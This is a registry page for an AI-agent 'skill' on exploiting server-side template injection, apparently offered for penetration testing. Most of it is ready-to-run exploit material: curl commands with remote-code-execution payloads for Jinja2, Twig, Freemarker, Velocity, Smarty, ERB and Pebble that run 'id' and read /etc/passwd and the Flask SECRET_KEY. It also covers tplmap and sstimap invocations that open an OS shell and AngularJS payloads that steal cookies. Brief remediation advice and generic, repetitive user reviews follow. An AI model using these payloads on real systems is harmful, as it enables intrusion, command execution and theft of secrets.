Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.
Automate repetitive workflows and reduce manual effort
Example: Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example: Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example: Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Time estimate: 15-45 minutes depending on use case complexity
Prerequisites
Submit your Claude Code skill and start earning
epx add mukul975/Anthropic-Cybersecurity-Skills/exploiting-template-injection-vulnerabilitiesCompatible with
Supported agents
| name | exploiting-template-injection-vulnerabilities |
| description | Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - ssti - template-injection - rce - web-security - owasp |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
{{7*7}} returns 49)git clone https://github.com/epinna/tplmap.git)pip install sstimap)Find parameters where user input is processed by a template engine.
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present
# Universal detection payloads
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates
Determine which template engine is in use to select the appropriate exploitation technique.
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask
# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker
# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity
# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty
# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble
# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"
Achieve code execution through Jinja2 template injection.
# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"
# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
Use engine-specific payloads for exploitation.
# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"
# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
Use automated tools for comprehensive testing and exploitation.
# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names
Assess for Angular/Vue/React expression injection in client-side templates.
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
| Concept | Description |
|---|---|
| SSTI | Server-Side Template Injection - injecting template directives that execute server-side |
| CSTI | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
| Template Engine | Software that processes template files with placeholders, replacing them with data |
| Sandbox Escape | Bypassing template engine security restrictions to access dangerous functions |
| MRO (Method Resolution Order) | Python class hierarchy traversal used in Jinja2 exploitation |
| Object Introspection | Using __class__, __subclasses__(), __globals__ to navigate Python objects |
| Blind SSTI | Template injection where output is not directly visible, requiring OOB techniques |
| Tool | Purpose |
|---|---|
| tplmap | Automated SSTI detection and exploitation with OS shell capability |
| SSTImap | Modern SSTI scanner with support for multiple template engines |
| Burp Suite Professional | Request interception and Intruder for payload fuzzing |
| Hackvertor (Burp Extension) | Payload encoding and transformation for bypass techniques |
| PayloadsAllTheThings | Comprehensive SSTI payload reference on GitHub |
| OWASP ZAP | Automated SSTI detection in active scanning mode |
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through {{config.items()}} and subclass traversal.
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.
A custom 404 error page reflects the requested URL path through a Twig template. Requesting /{{['id']|filter('system')}} causes the server to execute the id command.
A search page renders results using AngularJS with ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.
## Template Injection Finding
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionexploiting-template-injection-vulnerabilitiesExecute the skills CLI command in your project's root directory to begin installation:
epx add mukul975/Anthropic-Cybersecurity-Skills/exploiting-template-injection-vulnerabilitiesFetches exploiting-template-injection-vulnerabilities from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
.cursor/skills/exploiting-template-injection-vulnerabilities
Restart Cursor to activate exploiting-template-injection-vulnerabilities. Access via /exploiting-template-injection-vulnerabilitiesin your agent's command palette.
Learn more:View source on GitHubSkills CLI docsAbout CursorWhat are agent skills?
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
testing-for-broken-access-control
mukul975/Anthropic-Cybersecurity-Skills · testing-for-broken-access-control · same repo
performing-network-packet-capture-analysis
mukul975/Anthropic-Cybersecurity-Skills · performing-network-packet-capture-analysis · same repo
implementing-soar-automation-with-phantom
mukul975/Anthropic-Cybersecurity-Skills · implementing-soar-automation-with-phantom · same repo
detecting-rdp-brute-force-attacks
mukul975/Anthropic-Cybersecurity-Skills · detecting-rdp-brute-force-attacks · same repo
scanning-docker-images-with-trivy
mukul975/Anthropic-Cybersecurity-Skills · scanning-docker-images-with-trivy · same repo
hunting-for-webshell-activity
mukul975/Anthropic-Cybersecurity-Skills · hunting-for-webshell-activity · same repo
exploiting-template-injection-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
Useful defaults in exploiting-template-injection-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Registry listing for exploiting-template-injection-vulnerabilities matched our evaluation — installs cleanly and behaves as described in the markdown.
exploiting-template-injection-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Solid pick for teams standardizing on skills: exploiting-template-injection-vulnerabilities is focused, and the summary matches what you get after install.
Useful defaults in exploiting-template-injection-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
We added exploiting-template-injection-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
exploiting-template-injection-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Keeps context tight: exploiting-template-injection-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
I recommend exploiting-template-injection-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
showing 1-10 of 46